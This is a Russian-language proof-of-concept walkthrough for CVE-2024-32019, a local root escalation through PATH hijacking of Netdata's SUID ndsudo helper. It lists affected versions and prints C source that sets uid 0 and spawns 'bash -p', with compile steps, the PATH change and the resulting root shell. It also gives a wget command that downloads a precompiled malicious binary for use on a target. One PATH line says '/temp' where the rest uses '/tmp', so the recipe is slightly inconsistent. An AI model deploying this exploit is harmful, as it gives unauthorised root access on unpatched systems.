
Netdata ndsudo: локальная эскалация привилегий — последовательность действий и POC (CVE-2024-32019)
Netdata ndsudo локальная эскалация привилегий: описание и POC (CVE-2024-32019)
[!TIP] Пожалуйста, прочитайте
Netdata — это инструмент для мониторинга приложений и систем. Он работает на порту 19999, что легко обнаружить:
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:19999 0.0.0.0:* LISTEN
Эта уязвимость (CVE-2024-32019) затрагивает следующие версии: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Мы можем сделать запрос, чтобы узнать версию в заголовке ответа:
Эксплойт основан на использовании PATH Hijacking одного из его плагинов, ndsudo, который часто находится в /opt/netdata/usr/libexec/netdata/ и имеет флаг SUID.
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Посмотрим, что можно сделать с помощью --help:
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help
ndsudo
(C) Netdata Inc.
A helper to allow Netdata run privileged commands.
--test
print the generated command that will be run, without running it.
--help
print this message.
The following commands are supported:
- Command : nvme-list
Executables: nvme
Parameters : list --output-format=json
- Command : nvme-smart-log
Executables: nvme
Parameters : smart-log {{device}} --output-format=json
- Command : megacli-disk-info
Executables: megacli MegaCli
Parameters : -LDPDInfo -aAll -NoLog
- Command : megacli-battery-info
Executables: megacli MegaCli
Parameters : -AdpBbuCmd -aAll -NoLog
- Command : arcconf-ld-info
Executables: arcconf
Parameters : GETCONFIG 1 LD
- Command : arcconf-pd-info
Executables: arcconf
Parameters : GETCONFIG 1 PD
The program searches for executables in the system path.
Variables given as {{variable}} are expected on the command line as:
--variable VALUE
VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.
Как видим, поскольку скрипт содержит несколько команд, каждая из которых ищет исполняемый файл, мы можем этим воспользоваться, создав собственный исполняемый файл с именем одного из указанных в скрипте и добавив путь к нему в переменную окружения PATH.
Netdata использует язык C, поэтому нам нужно написать скрипт на C и скомпилировать его.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
perror("execl");
return 1;
}
gcc arcconf.c -o arcconf
Затем, как обсуждалось ранее, добавляем путь к нашему скрипту в переменную $PATH:
test@test:/tmp$ PATH=/tmp:$PATH
Наконец, просто выполняем команду, которая указывает на наш вредоносный исполняемый файл (arcconf-pd-info → arcconf), и она даст нам привилегированную оболочку:
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root
Вы можете скачать уже скомпилированный вредоносный скрипт на C (как в примере выше), который даст вам оболочку с правами root:
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf
mv arcconf /tmp # Если у вашей цели есть доступ в Интернет
scp ./arcconf test@test:/tmp/arcconf # Если у вашей цели нет доступа в Интернет
PATH=:/temp:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info # Путь ndsudo может отличаться